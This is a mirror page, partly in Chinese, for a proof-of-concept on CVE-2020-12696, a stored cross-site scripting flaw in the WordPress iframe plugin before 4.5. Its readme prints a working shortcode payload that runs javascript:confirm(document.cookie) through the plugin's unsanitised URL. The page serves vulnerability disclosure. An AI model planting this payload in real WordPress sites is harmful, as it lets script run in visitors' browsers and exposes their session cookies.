CVE-2020-12696 PoC — WordPress iframe 跨站脚本漏洞

Source

https://github.com/g-rubert/CVE-2020-12696

Associated Vulnerability

Title: WordPress iframe 跨站脚本漏洞 (CVE-2020-12696)
Description:The iframe plugin before 4.5 for WordPress does not sanitize a URL.

Description

Stored Cross Site Scripting - Iframe Plugin - WordPress

Readme

# CVE-2020-12696

```
██╗  ██╗███████╗███████╗
╚██╗██╔╝██╔════╝██╔════╝
 ╚███╔╝ ███████╗███████╗
 ██╔██╗ ╚════██║╚════██║
██╔╝ ██╗███████║███████║
╚═╝  ╚═╝╚══════╝╚══════╝
```  

**Iframe < 4.5 - Authenticated Stored Cross Site Scripting (XSS)**

The iframe plugin before 4.5 does not sanitize a URL.

    Payload: </b>[iframe src="javascript:confirm(document.cookie)" width="100%" height="500"]
    Version [plugin]: </b>4.4
    Tested on: </b>WordPress 5.2.4
    Researcher:</b> Guilherme Rubert

<br>

**References:**

https://guilhermerubert.com/blog/cve-2020-12696/
<br>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12696
<br>https://wordpress.org/plugins/iframe/#developers

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →